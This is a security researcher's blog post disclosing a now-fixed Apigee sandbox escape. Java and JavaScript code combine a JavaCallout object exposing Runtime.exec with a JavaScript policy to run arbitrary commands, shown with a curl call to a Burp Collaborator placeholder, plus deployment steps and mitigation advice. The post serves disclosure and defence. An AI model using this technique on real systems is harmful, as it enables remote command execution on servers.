Welcome to the first post in a series where I’ll be diving into the security research I conducted on Apigee throughout 2023. I spent a lot of time exploring the ins and outs of this platform, and my work even caught the attention of Google Bug Hunters.
Unwrapping some sweet Google swag
Now that the vulnerabilities have been fixed, I’m excited to start sharing what I found. In this series, I’ll walk you through various security risks and how they were uncovered.
For our first topic, we’ll look at a vulnerability I’m calling "Rhino’s Blind Spot." This issue is linked to Apigee’s ability to run custom code, which can be both powerful and risky. This vulnerability was a big challenge to uncover, and it sets the stage for the kind of deep-dive analysis you can expect in this series.
What is Apigee?
Apigee is a comprehensive API management platform developed by Google that enables businesses to design, secure, deploy, and analyze APIs across multi-cloud environments. It plays a pivotal role in modern application architectures, allowing organizations to expose their services and data to external and internal developers in a controlled and scalable manner.
Apigee’s platform offers a wide array of features, including API proxies, developer portals, advanced analytics, and robust security measures. These tools not only help in managing the lifecycle of APIs but also ensure they perform efficiently while maintaining high standards of security and compliance. By bridging the gap between backend services and client applications, Apigee helps businesses accelerate their digital transformation and API-first strategies.
For more information about Apigee, you can visit Google Cloud’s official page or explore their documentation for a deeper dive into its features and capabilities.
The Power and Risks of Custom Code Execution in Apigee
Apigee is widely recognized for its comprehensive suite of API management tools, which cater to a broad spectrum of needs in the API lifecycle - from basic request and response handling to more sophisticated features like custom code execution. These capabilities make Apigee an indispensable tool for organizations looking to streamline and secure their API operations.
At the core of Apigee’s functionality are its task-specific policies, such as ExtractVariables, AssignMessage, AccessControl, and RaiseFault. These policies are designed to address a wide array of common API management tasks, including extracting data from requests, transforming messages, controlling access, and generating custom error responses. These built-in policies cover most standard use cases and are integral to managing API traffic efficiently and securely. They act as the building blocks for creating robust API proxies that handle client requests and backend responses in a reliable, predictable manner.
However, as organizations continue to evolve and scale, they often encounter scenarios where these standard policies alone are insufficient to meet their unique business requirements. This is particularly true in complex environments where specific logic or custom integrations are needed - something that cannot be achieved through the predefined functionalities of the task-specific policies.
To address these more complex scenarios, Apigee offers the ability to execute custom code within API proxies through its support for JavaScript, JavaCallout, and PythonScript policies. These policies provide a powerful mechanism for developers to inject their own logic into the API flow, enabling them to extend the platform's capabilities far beyond its default offerings. For example, with custom scripts, developers can perform intricate data transformations, interact with external services in ways that are not natively supported, or implement custom security checks tailored to their specific needs.
- JavaScript policy allows you to run custom JavaScript within the API proxy flow. It’s ideal for situations where you need to manipulate data on the fly, make complex decisions, or perform custom transformations that standard policies can’t handle. But there’s a catch: JavaScript, being a dynamic language, can easily be exploited if the code isn’t securely written.
- If you prefer the reliability of Java, JavaCallout policy is your go-to. It lets you execute custom Java code within the proxy, tapping into the vast array of Java libraries and frameworks. This is great for more complex or performance-intensive tasks, but again, it’s crucial to ensure the code doesn’t introduce vulnerabilities.
- For those who favor Python’s simplicity and rich set of libraries, the PythonScript policy allows for rapid development and integration of Python scripts into the API flow. However, the ease of writing Python code should not come at the expense of security.
In the following scenario, the JavaScript policy is used to modify a JSON response before it is returned to the client. This is useful when you need to add, remove, or transform data in the response payload dynamically.
// Retrieve the response content (assuming it's a JSON object)
var responseContent = JSON.parse(context.getVariable('response.content'));
// Add a new field to the JSON object
responseContent.newField = "This is a new field";
// Modify an existing field
if (responseContent.existingField) {
responseContent.existingField = "Updated value";
}
// Remove a field from the JSON object
delete responseContent.unwantedField;
// Convert the modified JSON object back to a string and set it as the new response content
context.setVariable('response.content', JSON.stringify(responseContent));
While these custom code execution features greatly enhance Apigee’s flexibility and power, they also introduce significant security risks if not managed carefully. Allowing custom code to run within the API proxy environment opens up the potential for security vulnerabilities, especially if the code is not thoroughly vetted or if the execution environment is not properly sandboxed. So, if an attacker manages to inject malicious code into the custom script, they could potentially gain control over the server running the Apigee instance. This could lead to unauthorized data access, data manipulation, or even a complete system compromise.
In order to prevent malicious code from being executed, JavaCallout and PythonScript policies in Apigee are configured to use the Java Security Manager and Java Permissions. Every time a piece of code is executed, the Java Security Manager checks for potentially harmful actions - like binding listeners, accessing the filesystem, etc. - and prevents them if they violate the established permissions (more details about permissions can be found here).
However, the sandbox mechanism for JavaScript code is entirely different and relies on the Rhino engine, a JavaScript implementation written in Java.
Unpacking How JavaScript is Executed in Apigee
Let’s take a closer look at how JavaScript is executed in Apigee. The platform uses the Rhino JavaScript engine, a powerful tool that allows JavaScript to be embedded within Java applications. Rhino is well-integrated into Apigee, but this integration also brings about certain security considerations.
Here’s a simplified example of how JavaScript runs in Rhino:
import org.mozilla.javascript.Context;
import org.mozilla.javascript.Scriptable;
public class RhinoExample {
public static void main(String[] args) {
// Enter a context with a new Rhino instance
Context ctx = Context.enter();
try {
// Initialize a standard Rhino scope
Scriptable scope = ctx.initStandardObjects();
// Define some JavaScript code
String script = "function sum(a, b) { return a + b; } sum(10, 20);";
// Evaluate the script
Object result = ctx.evaluateString(scope, script, …);
// Print the result
System.out.println("Result of the JavaScript code: " + Context.toString(result));
} finally {
// Exit the context
Context.exit();
}
}
}
In this snippet Rhino starts by creating a new execution context. The context initializes a standard scope, which is essentially the environment where the JavaScript code executes. The JavaScript code (in this case, a simple sum function) is evaluated within this scope, and the result is printed out.
This integration is powerful, but it’s also risky because it involves executing potentially untrusted code within a Java environment. This is where security mechanisms come into play.
Security Measures: ClassShutter and getClass
To mitigate the risks of running untrusted JavaScript code, Rhino provides and Apigee employs two key security mechanisms: the ClassShutter interface and blocking the getClass method.
ClassShutter controls which Java classes are exposed to the JavaScript engine. It essentially acts as a gatekeeper, allowing only certain classes to be accessed by JavaScript code. This helps to reduce the attack surface by preventing unauthorized access to sensitive parts of the Java API.
Here’s how ClassShutter look in practice:
static Set<String> allowedClasses = new HashSet<>();
static Set<String> allowedPackages = new HashSet<>();
static {
allowedClasses.add("java.lang.Object");
allowedClasses.add("java.lang.String");
allowedPackages.add("com.apigee.javascript.generated");
allowedPackages.add("com.apigee.javascript.om.");
}
public JSContext(ContextFactory factory) {
setClassShutter(new ClassShutter() {
public boolean visibleToScripts(String className) {
if (!allowedClasses.contains(className)) {
for (String p : allowedPackages) {
if (className.startsWith(p)) {
return true;
}
}
return false;
}
return true;
}
});
}
In the static block allowedClasses initialized with a list of Java classes that are deemed safe to expose to JavaScript. It includes fundamentals like java.lang.Object, java.lang.String and few more. At the same time, allowedPackages initialized with a list of package names. Any class within these packages is allowed to be accessed from JavaScript. This adds a layer of granularity, allowing entire packages rather than individual classes.
In the JSContext constructor setClassShutter is called with an anonymous implementation of the ClassShutter interface. This method is invoked every time a class is accessed from JavaScript, and it determines whether the class is visible to the script by invoking visibleToScripts.
visibleToScripts takes the name of the class being accessed as a parameter and first checks if the class name is in the allowedClasses set. If it's not found, it iterates through the allowedPackages set. If the class name starts with any of the package names in allowedPackages, it returns true, allowing access. If it doesn't match any allowed class or package, it returns false, blocking the access.
As for the getClass method in Java, it can be used to access class metadata, which can be a security risk when running untrusted JavaScript code on top of Java. To prevent this, Apigee overrides the getClass method, making it unavailable to JavaScript code.
public class JSNativeJavaObject extends NativeJavaObject {
public JSNativeJavaObject(...) {
super(...);
}
public Object get(String name, Scriptable start) {
if (name.equals("getClass")) {
return NOT_FOUND;
}
return super.get(name, start);
}
}
These measures are effective at securing the execution environment, but they’re not foolproof, especially when such complex system as Apigee is involved. In fact, during my research, I found ways to bypass these restrictions.
Exploiting the Blind Spot: Combining JavaCallout and JavaScript
The core of this exploit lies in how Apigee handles custom code execution across its policies, particularly when you combine the JavaCallout and JavaScript policies. By leveraging these policies together, I discovered a way to bypass the security controls intended to prevent unauthorized code execution. Although, as mentioned before, Apigee enforces distinct security mechanisms - using Java Security Manager and Java Permissions for JavaCallout and PythonScript, and relying on the Rhino engine's sandboxing for JavaScript - objects can still be passed freely between these policies via flow variables. This ability to share objects across different policies opens up the possibility of bypassing the sandbox logic.
Step 1: Testing the ClassShutter Mechanism
Before diving into the exploit, it's important to understand how Apigee’s ClassShutter is supposed to work and where it falls short. The ClassShutter mechanism is designed to control which Java classes are exposed to JavaScript running in Apigee. Ideally, it should prevent untrusted code from accessing sensitive Java classes.
Here’s a test to see how ClassShutter behaves when JavaScript policy tries to access restricted classes:
// Attempt to access a restricted Java class
try {
var systemClass = Packages.java.lang.System;
print(systemClass.getProperty("os.name"));
} catch (e) {
print("Access is restricted: " + e.message);
}
// Attempt to use the getClass method
try {
var stringClass = new java.lang.String("Test");
var classObj = stringClass.getClass();
print("Class Name: " + classObj.getName());
} catch (e) {
print("Access is restricted: " + e.message);
}
In this test the first part attempts to access java.lang.System, a potentially restricted class, by printing the operating system name. If ClassShutter is working correctly, this access should be blocked, and an error message should be printed.
The second part tries to use the getClass method on a String object. If the getClass method is correctly blocked (as it should be by the overridden NativeJavaObject class), this attempt should also trigger an error.
When this JavaScript code is run in an environment where ClassShutter and other security measures are properly configured, the expected output should be error messages indicating that access to these restricted methods and classes is denied. This confirms that the basic security mechanisms are in place.
However, despite these safeguards, I found a way to bypass them by combining the JavaCallout and JavaScript policies.
Step 2: Creating a Custom Java Class
The first step in exploiting this blind spot is to create and deploy a JavaCallout policy within your Apigee API proxy. This policy allows you to run custom Java code in your API proxy, and it’s here that we’ll introduce our custom Java class designed to exploit the system.
Here’s how you might structure the JavaCallout policy configuration:
<JavaCallout name="ExecuteCustomJava">
<ResourceURL>java://app-1.0-SNAPSHOT.jar</ResourceURL>
<ClassName>com.apigee.javascript.generated.Main</ClassName>
</JavaCallout>
In this configuration the ResourceURL points to the compiled JAR file containing the Main class. The ClassName specifies the fully qualified name of the Java class to be executed.
Here’s an example of such a class:
package com.apigee.javascript.generated;
import com.apigee.flow.execution.ExecutionContext;
import com.apigee.flow.execution.ExecutionResult;
import com.apigee.flow.execution.spi.Execution;
import com.apigee.flow.message.MessageContext;
public class Main implements Execution {
// Method to run system commands
public void run(String execString) throws Exception {
Runtime.getRuntime().exec(execString);
}
// Method to execute and store the object in the message context
public ExecutionResult execute(MessageContext messageContext, ExecutionContext executionContext) {
try {
messageContext.setVariable("rceObject", new Main());
return ExecutionResult.SUCCESS;
} catch (Exception e) {
return ExecutionResult.ABORT;
}
}
}
This Java class does two key things: the execute method, which is triggered by the JavaCallout policy, creates an instance of the Main class and stores it in the message context under the name rceObject, and the run method executes any command passed to it, effectively allowing the execution of arbitrary system commands.
If I were to run commands directly within the JavaCallout policy, it would indeed be blocked by the JVM, thanks to the configured Java Permissions. However, nothing prevents me from passing this object into a JavaScript policy! Once in the JavaScript policy, the command can be executed, effectively bypassing the security restrictions that would normally apply in the Java environment.
Step 3: Creating a JavaScript policy
With the JavaCallout policy in place and the malicious rceObject stored in the message context, the next step involves using a JavaScript policy to retrieve and execute this object. This is where we exploit the vulnerability by running arbitrary commands through JavaScript!
<JavaScript name="ExecuteCommand">
<ResourceURL>jsc://JS-1.js</ResourceURL>
</JavaScript>
In this configuration the ResourceURL points to the JavaScript file (JS-1.js) that contains the code to execute the command stored in the rceObject. While the content of JS-1.js would look something like this:
// Define the command to be executed
var command = "curl http://<BURP_COLLABORATOR_URL>";
// Retrieve the rceObject from the message context
var rceObject = context.getVariable("rceObject");
// Execute the command via the rceObject
rceObject.run(command);
Inside of the script we:
- Define the command variable, which contains the system command we want to execute. In this case, it’s a simple curl request to a Burp Collaborator URL.
- Retrieve the rceObject from the message context, which was placed there by the JavaCallout policy.
- Execute the command via the run method on rceObject, causing the system command to execute.
Step 4: Preparing and Deploying the Exploit
Once both the JavaCallout and JavaScript policies are in place, it’s time to deploy the API proxy and execute the exploit.
Prerequisites
Before deploying the proxy, ensure that your development environment is correctly configured
I suggest you use WSL2. All commands you will see here are executed in WSL2 environment. If you don’t have WSL2 installed on your system, follow the Microsoft official guide. For me, I prefer to use Ubuntu as an operation system for WSL2.
Make sure that you have you have the following software installed in your Ubuntu WSL:
I also suggest to use VS Code editor since it’s free and supports WSL. So make sure that you have you have the following extensions installed in VS Code:
Setting Up the Apigee Environment
First of all, we need to setup a proper Apigee development environment
- Start Docker
sudo service docker start
- Create a new directory and switch into it
mkdir 01-apigee-rhino && cd 01-apigee-rhino
- Run VS Code in the current directory
code . - In the VS Code window run Create Apigee workspace command and create single workspace with any name you like in the current directory
- After the VS Code restarted, go to the Settings and add Apigee Emulator v 1.8.1 to the list of emulators
- Setup the Apigee Emulator by clicking on the button near the emulator’s name. Choose a name you like for the container (for ex. emul-1.8.1) and make sure that ports you are going to choose are free
- If everything is correct, you should see that container is ready
Setting Up the Java Environment
In order to create JAR file for JavaCallout policy, we need to have proper Java development environment.
- Run one more instance of the VS Code
code . - In the VS Code window run Create Java Project command and create basic maven project with com.apigee.javascript.generated group id and any artifact id you like in the current directory
- So that your directory would have the structure similar to one on the picture: Apigee proxy code will be stored in apigee_workspace and JavaCallout policy code will be stored in java_project (names may be different)
- Navigate to the Java project directory
cd java_project
- Download and execute build-setup script
curl -sSL https://github.com/apigee/api-platform-samples/raw/master/doc-samples/java-hello/buildsetup.sh | bash
- Add the following dependencies to pom.xml
<dependencies> <dependency> <groupId>com.apigee.edge</groupId> <artifactId>message-flow</artifactId> <version>1.0.0</version> </dependency> <dependency> <groupId>com.apigee.edge</groupId> <artifactId>expressions</artifactId> <version>1.0.0</version> </dependency> </dependencies>
- Set the following properties in pom.xml
<properties> <maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.target> </properties>
In order to create JAR file for JavaCallout policy, we need to have proper Java development environment.
Bulding the JAR
// content of the Main.java:
package com.apigee.javascript.generated;
import com.apigee.flow.execution.ExecutionContext;
import com.apigee.flow.execution.ExecutionResult;
import com.apigee.flow.execution.spi.Execution;
import com.apigee.flow.message.MessageContext;
public class Main implements Execution {
// Method to run system commands
public void run(String execString) throws Exception {
Runtime.getRuntime().exec(execString);
}
// Method to execute and store the object in the message context
public ExecutionResult execute(MessageContext messageContext, ExecutionContext executionContext) {
try {
messageContext.setVariable("rceObject", new Main());
return ExecutionResult.SUCCESS;
} catch (Exception e) {
return ExecutionResult.ABORT;
}
}
}
- Open VS Code and navigate to the Main.java
- Make your Main class implementing Apigee’s Execution interface
- Add run method, which accepts OS system commands as string and executes them
- Implement execute method, which accepts messageContext and executionContext, creates new Main object and stores it into the message context as rceObject flow variable – this is a way to obtain object in JavaScript policy later
- Compile java code by running
mvn clean package
in the java project directory - Compiled jar file should be in target directory
Now it’s time to create an Apigee API proxy!
Building a Proxy
- Open Apigee project directory in the VS Code
code apigee_workspace/ - Choose Google Cloude Code from the left pane and expand Apigee section
- Expand Local development and click on the + button on apiproxies tree to add new Echo request proxy. The proxy should appear under apiproxies tree
- From now on you can add policies and resources to the proxy by clicking on the + button near the proxy's name
- Add two policies to the proxy: JavaScript from an external source and Java (both policies located in Extension section)
- For some reason it’s not possible to create a resource for Java policy via the Cloud Code extension, so we will do it manually – switch to the Explorer on the left pane and create java directory under resource folder manually
- Copy compiled JAR file to the java resources directory
cp ../java_project/target/<COMPILED_JAVA>.jar src/main/apigee/apiproxies/<PROXY>/apiproxy/resources/java/
- Switch back to the Google Cloud Code extension and create JavaScript resource to store JavaScript policy code
- We need just a few lines of JavaScript code as a proof-of-concept – we will use curl OS command to issue http request
// content of the JS-1.js
var command = "curl http://<BURP_COLLABORATOR_URL>";
var rceObject = context.getVariable("rceObject");
rceObject.run(command);
Deploying the Proxy
If every step is followed you can deploy your proxy.
- Click on the + button on environment tree and create an environment
- Expand the environment and click on the cog icon on deployments.json
- Pick your proxy and click OK
- Click on the globe icon to deploy your proxy
- Check the output (ctrl+shift+U) for any errors
Step 5: Run!
All you need to do to run the exploit is to send a request to localhost:8998/echo. You can do this from a browser or any http client.
After the request is sent to the proxy, you can catch curl request that is issued by the exploit.
The successful execution of this exploit demonstrates a significant security vulnerability in Apigee’s handling of custom code execution. By combining different policy types, an attacker can bypass intended security controls and execute arbitrary commands on the Apigee server!
This exploit could lead to:
- System Compromise: the attacker gaining control over the server running the Apigee proxy.
- Data Exfiltration: sensitive data being accessed or exfiltrated through the execution of unauthorized commands.
- Further Attacks: the compromised proxy being used as a foothold for launching additional attacks against other systems.
Final Thoughts
This vulnerability not only underscores the importance of understanding how different components within an API management platform interact but also highlights the potential risks that arise from the interplay between these components. The ability to bypass intended security mechanisms, such as ClassShutter, by exploiting cross-policy data sharing and custom code execution, reveals a critical blind spot that can exist even in well-designed systems.
The Broader Implications
At its core, this exploit demonstrates how the flexibility and power provided by platforms like Apigee can also become their Achilles' heel. The very features that allow developers to craft tailored solutions and manage complex API flows can also be leveraged by attackers to circumvent security controls. This is particularly concerning in environments where APIs serve as gateways to critical backend systems, databases, and sensitive data.
When considering the broader implications, it’s essential to recognize that such vulnerabilities can have a cascading effect. A successful exploit could lead to:
- Compromise of Downstream Systems: once an attacker gains control of the API proxy, they could potentially manipulate API traffic, injecting malicious payloads that compromise downstream systems. This could result in unauthorized data access, data corruption, or even the complete takeover of interconnected systems.
- Escalation of Privileges: an attacker could use the compromised proxy to escalate their privileges within the network. By leveraging the trust relationships between the API proxy and other systems, the attacker might gain higher-level access, leading to more extensive and damaging breaches.
- Persistence in the Network: by embedding malicious code within the API proxy, an attacker could establish a persistent foothold within the network, making it difficult to completely eradicate the threat. This persistence could allow for ongoing surveillance, data exfiltration, or further exploitation over time.
This vulnerability emphasizes the need for a holistic approach to security in API management. It’s not enough to rely on individual security mechanisms in isolation. Instead, a comprehensive strategy should be employed, where:
- Defense-in-Depth: multiple layers of security controls are implemented at every level of the API management stack. This includes not only strong authentication and authorization but also robust input validation, logging, and monitoring, as well as strict enforcement of least privilege principles.
- Cross-Component Awareness: security teams must have a deep understanding of how different components within the API platform interact. This awareness is crucial for identifying potential attack vectors that may not be immediately obvious but can be exploited when different features are combined in unexpected ways.
- Proactive Threat Modeling: regularly conduct threat modeling exercises to anticipate potential attack scenarios, especially those that might exploit the interactions between different policies or components. By thinking like an attacker, security teams can identify and mitigate risks before they are exploited.
- Continuous Education and Awareness: developers and security analysts alike should be continuously educated on the latest threats and vulnerabilities in API management. This includes understanding not just the technical aspects but also the broader context in which these systems operate, including business logic and operational dependencies.
Taking Action: Mitigation and Prevention
To safeguard against vulnerabilities like this, it’s crucial to implement several key practices:
- Rigorous Code Review: all custom code, especially code executed within JavaCallout, JavaScript, or PythonScript policies, should undergo rigorous review by both developers and security experts. Look for potential security weaknesses, such as unintended data exposure or execution paths.
- Strict Environment Isolation: consider isolating environments where potentially risky custom code is executed. By running such code in a sandboxed or restricted environment, you can minimize the impact of any potential exploit, preventing it from affecting the broader system.
- Regular Security Audits: perform regular security audits that focus specifically on policy interactions and data flow within the API management platform. These audits should look for any unintended consequences that might arise from the way policies are combined or the data they share.
By implementing these strategies, your can strengthen your defense against similar exploits and ensure that your API management platform remain secure and resilient in the face of evolving threats.
Discovering Rhino’s Blind Spot